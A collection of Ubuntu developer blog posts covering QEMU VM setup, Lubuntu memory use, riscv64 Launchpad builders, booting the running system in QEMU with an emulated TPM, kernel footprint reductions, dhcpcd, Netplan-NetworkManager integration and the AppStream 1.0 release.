Since all you’ll be doing is writing or removing a file, you don’t need to bind mount all the special directories we had to work with earlier.

Once you’re done fixing whatever is wrong, you can exit the VM, unmount and detach its disk, and then try to boot it again like this:

exit
sudo umount vdisk
sudo qemu-nbd -d /dev/nbd0
./startVM.sh

You now have a fully functional, minimal VM! Some extra tips that you may find handy:

  • If you choose to install an SSH server into your VM, you can use the “hostfwd” setting in QEMU to forward a port on your local machine to port 22 within the VM. This will allow you to SSH into the VM. Add a parameter like -nic user,hostfwd=tcp:127.0.0.1:2222-:22 to your QEMU command in the “startVM.sh” script. This will forward port 2222 of your host machine to port 22 of the VM. Then you can SSH into the VM by running ssh user@127.0.0.1 -p 2222. The “hostfwd” QEMU feature is documented at https://www.qemu.org/docs/master/system/invocation.html - just search the page for “hostfwd” to find it.

  • If you intend to use the VM through SSH only and don’t want a QEMU window at all, remove the following three parameters from the QEMU command in “startVM.sh”:

    • -vga qxl

    • -display sdl

    • -monitor stdio

    Then add the following switch:

    • -nographic

    This will disable the graphical QEMU window entirely and provide no video hardware to the VM.

  • You can disable sound support by removing the following switches from the QEMU command in “startVM.sh”:

    • -device intel-hda

    • -device hda-duplex

There’s lots more you can do with QEMU and manual Ubuntu installations like this, but I think this should give you a good start. Hope you find this useful! God bless.

Thanks for reading Arraybolt's Archives! Subscribe for free to receive new posts and support my work.

on November 30, 2023 10:34 PM

November 25, 2023

In 2020 I reviewed LiveCD memory usage.

I was hoping to review either Wayland only or immutable only (think ostree/flatpak/snaps etc) but for various reasons on my setup it would just be a Gnome compare and that's just not as interesting. There are just to many distros/variants for me to do a full followup.

Lubuntu has previously always been the winner, so let's just see how Lubuntu 23.10 is doing today.

Previously in 2020 Lubuntu needed to get to 585 MB to be able to run something with a livecd. With a fresh install today Lubuntu can still launch Qterminal with just 540 MB of RAM (not apples to apples, but still)! And that's without Zram that it had last time.

I decided to try removing some parts of the base system to see the cost of each component (with 10MB accuracy). I disabled networking to try and make it a fairer compare.

  • Snapd - 30 MiB
  • Printing - cups foomatic - 10 MiB
  • rsyslog/crons - 10 MiB

Rsyslog impact

Out of the 3 above it's felt more like with rsyslog (and cron) are redundant in modern Linux with systemd. So I tried hitting the log system to see if we could get a slowdown, by every .1 seconds having a service echo lots of gibberish.

After an hour of uptime, this is how much space was used:

  • syslog 575M
  • journal at 1008M

CPU Usage on fresh boot after:

With Rsyslog

  • gibberish service was at 1% CPU usage
  • rsyslog was at 2-3%
  • journal was at ~4%

Without Rsyslog

  • gibberish service was at 1% CPU usage
  • journal was at 1-3%

That's a pretty extreme case, but does show some impact of rsyslog, which in most desktop settings is redundant anyway.

Testing notes:

  • 2 CPUs (Copy host config)
  • Lubuntu 23.10 install
  • no swap file
  • ext4, no encryption
  • login automatically
  • Used Virt-manager and only default change was enabling EUFI
on November 25, 2023 02:42 AM

November 22, 2023

Launchpad has supported building for riscv64 for a while, since it was a requirement to get Ubuntu’s riscv64 port going. We don’t actually have riscv64 hardware in our datacentre, since we’d need server-class hardware with the hypervisor extension and that’s still in its infancy; instead, we do full-system emulation of riscv64 on beefy amd64 hardware using qemu. This has worked well enough for a while, although it isn’t exactly fast.

The biggest problem with our setup wasn’t so much performance, though; it was that we were just using a bunch of manually-provisioned virtual machines, and they weren’t being reset to a clean state between builds. As a result, it would have been possible for a malicious build to compromise future builds on the same builder: it would only need a chroot or container escape. This violated our standard security model for builders, in which each build runs in an isolated ephemeral VM, and each VM is destroyed and restarted from a clean image at the end of every build. As a result, we had to limit the set of people who were allowed to have riscv64 builds on Launchpad, and we had to restrict things like snap recipes to only use very tightly-pinned parts from elsewhere on the internet (pinning is often a good idea anyway, but at an infrastructural level it isn’t something we need to require on other architectures).

We’ve wanted to bring this onto the same footing as our other architectures for some time. In Canonical’s most recent product development cycle, we worked with the OpenStack team to get riscv64 emulation support into nova, and installed a backport of this on our newest internal cloud region. This almost took care of the problem. However, Launchpad builder images start out as standard Ubuntu cloud images, which on riscv64 are only available from Ubuntu 22.04 LTS onwards; in testing 22.04-based VMs on other relatively slow architectures we already knew that we were seeing some mysterious hangs in snap recipe builds. Figuring this out blocked us for some time, and involved some pretty intensive debugging of the “strace absolutely everything in sight and see if anything sensible falls out” variety. We eventually narrowed this down to a LXD bug and were at least able to provide a workaround, at which point bringing up new builders was easy.

As a result, you can now enable riscv64 builds for yourself in your PPAs or snap recipes. Visit the PPA and follow the “Change details” link, or visit the snap recipe and follow the “Edit snap package” link; you’ll see a list of checkboxes under “Processors”, and you can enable or disable any that aren’t greyed out, including riscv64. This now means that all Ubuntu architectures are fully virtualized and unrestricted in Launchpad, making it easier for developers to experiment.

on November 22, 2023 02:00 PM

November 19, 2023

In this article I will show you how to start your current operating system inside a virtual machine. That is: launching the operating system (with all your settings, files, and everything), inside a virtual machine, while you’re using it.

This article was written for Ubuntu, but it can be easily adapted to other distributions, and with appropriate care it can be adapted to non-Linux kernels and operating systems as well.

Motivation

Before we start, why would a sane person want to do this in the first place? Well, here’s why I did it:

  • To test changes that affect Secure Boot without a reboot.

    Recently I was doing some experiments with Secure Boot and the Trusted Platform Module (TPM) on a new laptop, and I got frustrated by how time consuming it was to test changes to the boot chain. Every time I modified a file involved during boot, I would need to reboot, then log in, then re-open my terminal windows and files to make more modifications… Plus, whenever I screwed up, I would need to manually recover my system, which would be even more time consuming.

    I thought that I could speed up my experiments by using a virtual machine instead.

  • To predict the future TPM state (in particular, the values of PCRs 4, 5, 8, and 9) after a change, without a reboot.

    I wanted to predict the values of my TPM PCR banks after making changes to the bootloader, kernel, and initrd. Writing a script to calculate the PCR values automatically is in principle not that hard (and I actually did it before, in a different context), but I wanted a robust, generic solution that would work on most systems and in most situations, and emulation was the natural choice.

  • And, of course, just for the fun of it!

To be honest, I’m not a big fan of Secure Boot. The reason why I’ve been working on it is simply that it’s the standard nowadays and so I have to stick with it. Also, there are no real alternatives out there to achieve the same goals. I’ll write an article about Secure Boot in the future to explain the reasons why I don’t like it, and how to make it work better, but that’s another story…

Procedure

The procedure that I’m going to describe has 3 main steps:

  1. create a copy of your drive
  2. emulate a TPM device using swtpm
  3. emulate the system with QEMU

I’ve tested this procedure on Ubuntu 23.04 (Lunar) and 23.10 (Mantic), but it should work on any Linux distribution with minimal adjustments. The general approach can be used for any operating system, as long as appropriate replacements for QEMU and swtpm exist.

Prerequisites

Before we can start, we need to install:

  • QEMU: a virtual machine emulator
  • swtpm: a TPM emulator
  • OVMF: a UEFI firmware implementation

On a recent version of Ubuntu, these can be installed with:

sudo apt install qemu-system-x86 ovmf swtpm

Note that OVMF only supports the x86_64 architecture, so we can only emulate that. If you run a different architecture, you’ll need to find another UEFI implementation that is not OVMF (but I’m not aware of any freely available ones).

Create a copy of your drive

We can decide to either:

  • Choice #1: run only the components involved early at boot (shim, bootloader, kernel, initrd). This is useful if you, like me, only need to test those components and how they affect Secure Boot and the TPM, and don’t really care about the rest (the init process, login manager, …).

  • Choice #2: run the entire operating system. This can give you a fully usable operating system running inside the virtual machine, but may also result in some instability inside the guest (because we’re giving it a filesystem that is in use), and may also lead to some data loss if we’re not careful and make typos. Use with care!

Choice #1: Early boot components only

If we’re interested in the early boot components only, then we need to make a copy the following from our drive: the GPT partition table, the EFI partition, and the /boot partition (if we have one). Usually all these 3 pieces are at the “start” of the drive, but this is not always the case.

To figure out where the partitions are located, run:

sudo parted -l

On my system, this is the output:

Model: WD_BLACK SN750 2TB (nvme)
Disk /dev/nvme0n1: 2000GB
Sector size (logical/physical): 512B/512B
Partition Table: gpt
Disk Flags:

Number  Start   End     Size    File system  Name  Flags
 1      1049kB  525MB   524MB   fat32              boot, esp
 2      525MB   1599MB  1074MB  ext4
 3      1599MB  2000GB  1999GB                     lvm

In my case, the partition number 1 is the EFI partition, and the partition number 2 is the /boot partition. If you’re not sure what partitions to look for, run mount | grep -e /boot -e /efi. Note that, on some distributions (most notably the ones that use systemd-boot), a /boot partition may not exist, so you can leave that out in that case.

Anyway, in my case, I need to copy the first 1599 MB of my drive, because that’s where the data I’m interested in ends: those first 1599 MB contain the GPT partition table (which is always at the start of the drive), the EFI partition, and the /boot partition.

Now that we have identified how many bytes to copy, we can copy them to a file named drive.img with dd (maybe after running sync to make sure that all changes have been committed):

# replace '/dev/nvme0n1' with your main drive (which may be '/dev/sda' instead),
# and 'count' with the number of MBs to copy
sync && sudo -g disk dd if=/dev/nvme0n1 of=drive.img bs=1M count=1599 conv=sparse

Choice #2: Entire system

If we want to run our entire system in a virtual machine, then I would recommend creating a QEMU copy-on-write (COW) file:

# replace '/dev/nvme0n1' with your main drive (which may be '/dev/sda' instead)
sudo -g disk qemu-img create -f qcow2 -b /dev/nvme0n1 -F raw drive.qcow2

This will create a new copy-on-write image using /dev/nvme0n1 as its “backing storage”. Be very careful when running this command: you don’t want to mess up the order of the arguments, or you might end up writing to your storage device (leading to data loss)!

The advantage of using a copy-on-write file, as opposed to copying the whole drive, is that this is much faster. Also, if we had to copy the entire drive, we might not even have enough space for it (even when using sparse files).

The big drawback of using a copy-on-write file is that, because our main drive likely contains filesystems that are mounted read-write, any modification to the filesystems on the host may be perceived as data corruption on the guest, and that in turn may cause all sort of bad consequences inside the guest, including kernel panics.

Another drawback is that, with this solution, later we will need to give QEMU permission to read our drive, and if we’re not careful enough with the commands we type (e.g. we swap the order of some arguments, or make some typos), we may potentially end up writing to the drive instead.

Emulate a TPM device using swtpm

There are various ways to run the swtpm emulator. Here I will use the “vTPM proxy” way, which is not the easiest, but has the advantage that the emulated device will look like a real TPM device not only to the guest, but also to the host, so that we can inspect its PCR banks (among other things) from the host using familiar tools like tpm2_pcrread.

First, enable the tpm_vtpm_proxy module (which is not enabled by default on Ubuntu):

sudo modprobe tpm_vtpm_proxy

If that worked, we should have a /dev/vtpmx device. We can verify its presence with:

ls /dev/vtpmx

swtpm in “vTPM proxy” mode will interact with /dev/vtpmx, but in order to do so it needs the sys_admin capability. On Ubuntu, swtpm ships with this capability explicitly disabled by AppArmor, but we can enable it with:

sudo sh -c "echo '  capability sys_admin,' > /etc/apparmor.d/local/usr.bin.swtpm"
systemctl reload apparmor

Now that /dev/vtpmx is present, and swtpm can talk to it, we can run swtpm in “vTPM proxy” mode:

sudo mkdir /tpm/swtpm-state
sudo swtpm chardev --tpmstate dir=/tmp/swtpm-state --vtpm-proxy --tpm2

Upon start, swtpm should create a new /dev/tpmN device and print its name on the terminal. On my system, I already have a real TPM on /dev/tpm0, and therefore swtpm allocates /dev/tpm1.

The emulated TPM device will need to be readable and writeable by QEMU, but the emulated TPM device is by default accessible only by root, so either we run QEMU as root (not recommended), or we relax the permissions on the device:

# replace '/dev/tpm1' with the device created by swtpm
sudo chmod a+rw /dev/tpm1

Make sure not to accidentally change the permissions of your real TPM device!

Emulate the system with QEMU

Inside the QEMU emulator, we will run the OVMF UEFI firmware. On Ubuntu, the firmware comes in 2 flavors:

  • with Secure Boot enabled (/usr/share/OVMF/OVMF_CODE_4M.ms.fd), and
  • with Secure Boot disabled (in /usr/share/OVMF/OVMF_CODE_4M.fd)

(There are actually even more flavors, see this AskUbuntu question for the details.)

In the commands that follow I’m going to use the Secure Boot flavor, but if you need to disable Secure Boot in your guest, just replace .ms.fd with .fd in all the commands below.

To use OVMF, first we need to copy the EFI variables to a file that can be read & written by QEMU:

cp /usr/share/OVMF/OVMF_VARS_4M.ms.fd /tmp/

This file (/tmp/OVMF_VARS_4M.ms.fd) will be the equivalent of the EFI flash storage, and it’s where OVMF will read and store its configuration, which is why we need to make a copy of it (to avoid modifications to the original file).

Now we’re ready to run QEMU:

  • If you copied only the early boot files (choice #1):

    # replace '/dev/tpm1' with the device created by swtpm
    qemu-system-x86_64 \
      -accel kvm \
      -machine q35,smm=on \
      -cpu host \
      -smp cores=4,threads=1 \
      -m 4096 \
      -vga virtio \
      -bios /usr/share/ovmf/OVMF.fd \
      -drive if=pflash,unit=0,format=raw,file=/usr/share/OVMF/OVMF_CODE_4M.ms.fd,readonly=on \
      -drive if=pflash,unit=1,format=raw,file=/tmp/OVMF_VARS_4M.ms.fd \
      -drive if=virtio,format=raw,file=drive.img \
      -tpmdev passthrough,id=tpm0,path=/dev/tpm1,cancel-path=/dev/null \
      -device tpm-tis,tpmdev=tpm0
    
  • If you have a copy-on-write file for the entire system (choice #2):

    # replace '/dev/tpm1' with the device created by swtpm
    sudo -g disk qemu-system-x86_64 \
      -accel kvm \
      -machine q35,smm=on \
      -cpu host \
      -smp cores=4,threads=1 \
      -m 4096 \
      -vga virtio \
      -bios /usr/share/ovmf/OVMF.fd \
      -drive if=pflash,unit=0,format=raw,file=/usr/share/OVMF/OVMF_CODE_4M.ms.fd,readonly=on \
      -drive if=pflash,unit=1,format=raw,file=/tmp/OVMF_VARS_4M.ms.fd \
      -drive if=virtio,format=qcow2,file=drive.qcow2 \
      -tpmdev passthrough,id=tpm0,path=/dev/tpm1,cancel-path=/dev/null \
      -device tpm-tis,tpmdev=tpm0
    

    Note that this last command makes QEMU run as the disk group: on Ubuntu, this group has the permission to read and write all storage devices, so be careful when running this command, or you risk losing your files forever! If you want to add more safety, you may consider using an ACL to give the user running QEMU read-only permission to your backing storage.

In either case, after launching QEMU, our operating system should boot… while running inside itself!

In some circumstances though it may happen that the wrong operating system is booted, or that you end up at the EFI setup screen. This can happen if your system is not configured to boot from the “first” EFI entry listed in the EFI partition. Because the boot order is not recorded anywhere on the storage device (it’s recorded in the EFI flash memory), of course OVMF won’t know which operating system you intended to boot, and will just attempt to launch the first one it finds. You can use the EFI setup screen provided by OVMF to change the boot order in the way you like. After that, changes will be saved into the /tmp/OVMF_VARS_4M.ms.fd file on the host: you should keep a copy of that file so that, next time you launch QEMU, you’ll boot directly into your operating system.

Reading PCR banks after boot

Once our operating system has launched inside QEMU, and after the boot process is complete, the PCR banks will be filled and recorded by swtpm.

If we choose to copy only the early boot files (choice #1), then of course our operating system won’t be fully booted: it’ll likely hang waiting for the root filesystem to appear, and may eventually drop to the initrd shell. None of that really matters if all we want is to see the PCR values stored by the bootloader.

Before we can extract those PCR values, we first need to stop QEMU (Ctrl-C is fine), and then we can read it with tpm2_pcrread:

# replace '/dev/tpm1' with the device created by swtpm
tpm2_pcrread -T device:/dev/tpm1

Using the method described here in this article, PCRs 4, 5, 8, and 9 inside the emulated TPM should match the PCRs in our real TPM. And here comes an interesting application of this method: if we upgrade our bootloader or kernel, and we want to know the future PCR values that our system will have after reboot, we can simply follow this procedure and obtain those PCR values without shutting down our system! This can be especially useful if we use TPM sealing: we can reseal our secrets and make them unsealable at the next reboot without trouble.

Restarting the virtual machine

If we want to restart the guest inside the virtual machine, and obtain a consistent TPM state every time, we should start from a “clean” state every time, which means:

  1. restart swtpm
  2. recreate the drive.img or drive.qcow2 file
  3. launch QEMU again

If we don’t restart swtpm, the virtual TPM state (and in particular the PCR banks) won’t be cleared, and new PCR measurements will simply be added on top of the existing state. If we don’t recreate the drive file, it’s possible that some modifications to the filesystems will have an impact on the future PCR measurements.

We don’t necessarily need to recreate the /tmp/OVMF_VARS_4M.ms.fd file every time. In fact, if you need to modify any EFI setting to make your system bootable, you might want to preserve it so that you don’t need to change EFI settings at every boot.

Automating the entire process

I’m (very slowly) working on turning this entire procedure into a script, so that everything can be automated. Once I find some time I’ll finish the script and publish it, so if you liked this article, stay tuned, and let me know if you have any comment/suggestion/improvement/critique!

on November 19, 2023 04:33 PM

November 16, 2023


Photo by Pixabay

Ubuntu systems typically have up to 3 kernels installed, before they are auto-removed by apt on classic installs. Historically the installation was optimized for metered download size only. However, kernel size growth and usage no longer warrant such optimizations. During the 23.10 Mantic Minatour cycle, I led a coordinated effort across multiple teams to implement lots of optimizations that together achieved unprecedented install footprint improvements.

Given a typical install of 3 generic kernel ABIs in the default configuration on a regular-sized VM (2 CPU cores 8GB of RAM) the following metrics are achieved in Ubuntu 23.10 versus Ubuntu 22.04 LTS:

  • 2x less disk space used (1,417MB vs 2,940MB, including initrd)

  • 3x less peak RAM usage for the initrd boot (68MB vs 204MB)

  • 0.5x increase in download size (949MB vs 600MB)

  • 2.5x faster initrd generation (4.5s vs 11.3s)

  • approximately the same total time (103s vs 98s, hardware dependent)


For minimal cloud images that do not install either linux-firmware or modules extra the numbers are:

  • 1.3x less disk space used (548MB vs 742MB)

  • 2.2x less peak RAM usage for initrd boot (27MB vs 62MB)

  • 0.4x increase in download size (207MB vs 146MB)


Hopefully, the compromise of download size, relative to the disk space & initrd savings is a win for the majority of platforms and use cases. For users on extremely expensive and metered connections, the likely best saving is to receive air-gapped updates or skip updates.


This was achieved by precompressing kernel modules & firmware files with the maximum level of Zstd compression at package build time; making actual .deb files uncompressed; assembling the initrd using split cpio archives - uncompressed for the pre-compressed files, whilst compressing only the userspace portions of the initrd; enabling in-kernel module decompression support with matching kmod; fixing bugs in all of the above, and landing all of these things in time for the feature freeze. Whilst leveraging the experience and some of the design choices implementations we have already been shipping on Ubuntu Core. Some of these changes are backported to Jammy, but only enough to support smooth upgrades to Mantic and later. Complete gains are only possible to experience on Mantic and later.


The discovered bugs in kernel module loading code likely affect systems that use LoadPin LSM with kernel space module uncompression as used on ChromeOS systems. Hopefully, Kees Cook or other ChromeOS developers pick up the kernel fixes from the stable trees. Or you know, just use Ubuntu kernels as they do get fixes and features like these first.


The team that designed and delivered these changes is large: Benjamin Drung, Andrea Righi, Juerg Haefliger, Julian Andres Klode, Steve Langasek, Michael Hudson-Doyle, Robert Kratky, Adrien Nader, Tim Gardner, Roxana Nicolescu - and myself Dimitri John Ledkov ensuring the most optimal solution is implemented, everything lands on time, and even implementing portions of the final solution.


Hi, It's me, I am a Staff Engineer at Canonical and we are hiring https://canonical.com/careers.


Lots of additional technical details and benchmarks on a huge range of diverse hardware and architectures, and bikeshedding all the things below:


For questions and comments please post to Kernel section on Ubuntu Discourse.



on November 16, 2023 10:45 AM

A lot of time has passed since my previous post on my work to make dhcpcd the drop-in replacement for the deprecated ISC dhclient a.k.a. isc-dhcp-client. Current status:

  • Upstream now regularly produces releases and with a smaller delta than before. This makes it easier to track possible breakage.
  • Debian packaging has essentially remained unchanged. A few Recommends were shuffled, but that's about it.
  • The only remaining bug is fixing the build for Hurd. Patches are welcome. Once that is fixed, bumping dhcpcd-base's priority to important is all that's left.
on November 16, 2023 09:38 AM

November 12, 2023

Ubuntu 23.10 “Mantic Minotaur” Desktop, showing network settings

We released Ubuntu 23.10 ‘Mantic Minotaur’ on 12 October 2023, shipping its proven and trusted network stack based on Netplan. Netplan is the default tool to configure Linux networking on Ubuntu since 2016. In the past, it was primarily used to control the Server and Cloud variants of Ubuntu, while on Desktop systems it would hand over control to NetworkManager. In Ubuntu 23.10 this disparity in how to control the network stack on different Ubuntu platforms was closed by integrating NetworkManager with the underlying Netplan stack.

Netplan could already be used to describe network connections on Desktop systems managed by NetworkManager. But network connections created or modified through NetworkManager would not be known to Netplan, so it was a one-way street. Activating the bidirectional NetworkManager-Netplan integration allows for any configuration change made through NetworkManager to be propagated back into Netplan. Changes made in Netplan itself will still be visible in NetworkManager, as before. This way, Netplan can be considered the “single source of truth” for network configuration across all variants of Ubuntu, with the network configuration stored in /etc/netplan/, using Netplan’s common and declarative YAML format.

Netplan Desktop integration

On workstations, the most common scenario is for users to configure networking through NetworkManager’s graphical interface, instead of driving it through Netplan’s declarative YAML files. Netplan ships a “libnetplan” library that provides an API to access Netplan’s parser and validation internals, which is now used by NetworkManager to store any network interface configuration changes in Netplan. For instance, network configuration defined through NetworkManager’s graphical UI or D-Bus API will be exported to Netplan’s native YAML format in the common location at /etc/netplan/. This way, the only thing administrators need to care about when managing a fleet of Desktop installations is Netplan. Furthermore, programmatic access to all network configuration is now easily accessible to other system components integrating with Netplan, such as snapd. This solution has already been used in more confined environments, such as Ubuntu Core and is now enabled by default on Ubuntu 23.10 Desktop.

Migration of existing connection profiles

On installation of the NetworkManager package (network-manager >= 1.44.2-1ubuntu1) in Ubuntu 23.10, all your existing connection profiles from /etc/NetworkManager/system-connections/ will automatically and transparently be migrated to Netplan’s declarative YAML format and stored in its common configuration directory /etc/netplan/

The same migration will happen in the background whenever you add or modify any connection profile through the NetworkManager user interface, integrated with GNOME Shell. From this point on, Netplan will be aware of your entire network configuration and you can query it using its CLI tools, such as “sudo netplan get” or “sudo netplan status” without interrupting traditional NetworkManager workflows (UI, nmcli, nmtui, D-Bus APIs). You can observe this migration on the apt-get command line, watching out for logs like the following:

Setting up network-manager (1.44.2-1ubuntu1.1) ...
Migrating HomeNet (9d087126-ae71-4992-9e0a-18c5ea92a4ed) to /etc/netplan
Migrating eduroam (37d643bb-d81d-4186-9402-7b47632c59b1) to /etc/netplan
Migrating DebConf (f862be9c-fb06-4c0f-862f-c8e210ca4941) to /etc/netplan

In order to prepare for a smooth transition, NetworkManager tests were integrated into Netplan’s continuous integration pipeline at the upstream GitHub repository. Furthermore, we implemented a passthrough method of handling unknown or new settings that cannot yet be fully covered by Netplan, making Netplan future-proof for any upcoming NetworkManager release.

The future of Netplan

Netplan has established itself as the proven network stack across all variants of Ubuntu – Desktop, Server, Cloud, or Embedded. It has been the default stack across many Ubuntu LTS releases, serving millions of users over the years. With the bidirectional integration between NetworkManager and Netplan the final piece of the puzzle is implemented to consider Netplan the “single source of truth” for network configuration on Ubuntu. With Debian choosing Netplan to be the default network stack for their cloud images, it is also gaining traction outside the Ubuntu ecosystem and growing into the wider open source community.

Within the development cycle for Ubuntu 24.04 LTS, we will polish the Netplan codebase to be ready for a 1.0 release, coming with certain guarantees on API and ABI stability, so that other distributions and 3rd party integrations can rely on Netplan’s interfaces. First steps into that direction have already been taken, as the Netplan team reached out to the Debian community at DebConf 2023 in Kochi/India to evaluate possible synergies.

Conclusion

Netplan can be used transparently to control a workstation’s network configuration and plays hand-in-hand with many desktop environments through its tight integration with NetworkManager. It allows for easy network monitoring, using common graphical interfaces and provides a “single source of truth” to network administrators, allowing for configuration of Ubuntu Desktop fleets in a streamlined and declarative way. You can try this new functionality hands-on by following the “Access Desktop NetworkManager settings through Netplan” tutorial.


If you want to learn more, feel free to follow our activities on Netplan.io, GitHub, Launchpad, IRC or our Netplan Developer Diaries blog on discourse.

on November 12, 2023 03:00 PM

November 11, 2023

AppStream 1.0 released!

Matthias Klumpp

Today, 12 years after the meeting where AppStream was first discussed and 11 years after I released a prototype implementation I am excited to announce AppStream 1.0! 🎉🎉🎊

Check it out on GitHub, or get the release tarball or read the documentation or release notes! 😁

Some nostalgic memories

I was not in the original AppStream meeting, since in 2011 I was extremely busy with finals preparations and ball organization in high school, but I still vividly remember sitting at school in the students’ lounge during a break and trying to catch the really choppy live stream from the meeting on my borrowed laptop (a futile exercise, I watched parts of the blurry recording later).

I was extremely passionate about getting software deployment to work better on Linux and to improve the overall user experience, and spent many hours on the PackageKit IRC channel discussing things with many amazing people like Richard Hughes, Daniel Nicoletti, Sebastian Heinlein and others.

At the time I was writing a software deployment tool called Listaller – this was before Linux containers were a thing, and building it was very tough due to technical and personal limitations (I had just learned C!). Then in university, when I intended to recreate this tool, but for real and better this time as a new project called Limba, I needed a way to provide metadata for it, and AppStream fit right in! Meanwhile, Richard Hughes was tackling the UI side of things while creating GNOME Software and needed a solution as well. So I implemented a prototype and together we pretty much reshaped the early specification from the original meeting into what would become modern AppStream.

Back then I saw AppStream as a necessary side-project for my actual project, and didn’t even consider me as the maintainer of it for quite a while (I hadn’t been at the meeting afterall). All those years ago I had no idea that ultimately I was developing AppStream not for Limba, but for a new thing that would show up later, with an even more modern design called Flatpak. I also had no idea how incredibly complex AppStream would become and how many features it would have and how much more maintenance work it would be – and also not how ubiquitous it would become.

The modern Linux desktop uses AppStream everywhere now, it is supported by all major distributions, used by Flatpak for metadata, used for firmware metadata via Richard’s fwupd/LVFS, runs on every Steam Deck, can be found in cars and possibly many places I do not know yet.

What is new in 1.0?

API breaks

The most important thing that’s new with the 1.0 release is a bunch of incompatible changes. For the shared libraries, all deprecated API elements have been removed and a bunch of other changes have been made to improve the overall API and especially make it more binding-friendly. That doesn’t mean that the API is completely new and nothing looks like before though, when possible the previous API design was kept and some changes that would have been too disruptive have not been made. Regardless of that, you will have to port your AppStream-using applications. For some larger ones I already submitted patches to build with both AppStream versions, the 0.16.x stable series as well as 1.0+.

For the XML specification, some older compatibility for XML that had no or very few users has been removed as well. This affects for example release elements that reference downloadable data without an artifact block, which has not been supported for a while. For all of these, I checked to remove only things that had close to no users and that were a significant maintenance burden. So as a rule of thumb: If your XML validated with no warnings with the 0.16.x branch of AppStream, it will still be 100% valid with the 1.0 release.

Another notable change is that the generated output of AppStream 1.0 will always be 1.0 compliant, you can not make it generate data for versions below that (this greatly reduced the maintenance cost of the project).

Developer element

For a long time, you could set the developer name using the top-level developer_name tag. With AppStream 1.0, this is changed a bit. There is now a developer tag with a name child (that can be translated unless the translate="no" attribute is set on it). This allows future extensibility, and also allows to set a machine-readable id attribute in the developer element. This permits software centers to group software by developer easier, without having to use heuristics. If we decide to extend the developer information per-app in future, this is also now possible. Do not worry though the developer_name tag is also still read, so there is no high pressure to update. The old 0.16.x stable series also has this feature backported, so it can be available everywhere. Check out the developer tag specification for more details.

Scale factor for screenshots

Screenshot images can now have a scale attribute, to indicate an (integer) scaling factor to apply. This feature was a breaking change and therefore we could not have it for the longest time, but it is now available. Please wait a bit for AppStream 1.0 to become deployed more widespread though, as using it with older AppStream versions may lead to issues in some cases. Check out the screenshots tag specification for more details.

Screenshot environments

It is now possible to indicate the environment a screenshot was recorded in (GNOME, GNOME Dark, KDE Plasma, Windows, etc.) via an environment attribute on the respective screenshot tag. This was also a breaking change, so use it carefully for now! If projects want to, they can use this feature to supply dedicated screenshots depending on the environment the application page is displayed in. Check out the screenshots tag specification for more details.

References tag

This is a feature more important for the scientific community and scientific applications. Using the references tag, you can associate the AppStream component with a DOI (Digital object identifier) or provide a link to a CFF file to provide citation information. It also allows to link to other scientific registries. Check out the references tag specification for more details.

Release tags

Releases can have tags now, just like components. This is generally not a feature that I expect to be used much, but in certain instances it can become useful with a cooperating software center, for example to tag certain releases as long-term supported versions.

Multi-platform support

Thanks to the interest and work of many volunteers, AppStream (mostly) runs on FreeBSD now, a NetBSD port exists, support for macOS was written and a Windows port is on its way! Thank you to everyone working on this 🙂

Better compatibility checks

For a long time I thought that the AppStream library should just be a thin layer above the XML and that software centers should just implement a lot of the actual logic. This has not been the case for a while, but there was still a lot of complex AppStream features that were hard for software centers to implement and where it makes sense to have one implementation that projects can just use.

The validation of component relations is one such thing. This was implemented in 0.16.x as well, but 1.0 vastly improves upon the compatibility checks, so you can now just run as_component_check_relations and retrieve a detailed list of whether the current component will run well on the system. Besides better API for software developers, the appstreamcli utility also has much improved support for relation checks, and I wrote about these changes in a previous post. Check it out!

With these changes, I hope this feature will be used much more, and beyond just drivers and firmware.

So much more!

The changelog for the 1.0 release is huge, and there are many papercuts resolved and changes made that I did not talk about here, like us using gi-docgen (instead of gtkdoc) now for nice API documentation, or the many improvements that went into better binding support, or better search, or just plain bugfixes.

Outlook

I expect the transition to 1.0 to take a bit of time. AppStream has not broken its API for many, many years (since 2016), so a bunch of places need to be touched even if the changes themselves are minor in many cases. In hindsight, I should have also released 1.0 much sooner and it should not have become such a mega-release, but that was mainly due to time constraints.

So, what’s in it for the future? Contrary to what I thought, AppStream does not really seem to be “done” and fetature complete at a point, there is always something to improve, and people come up with new usecases all the time. So, expect more of the same in future: Bugfixes, validator improvements, documentation improvements, better tools and the occasional new feature.

Onwards to 1.0.1! 😁

on November 11, 2023 07:48 PM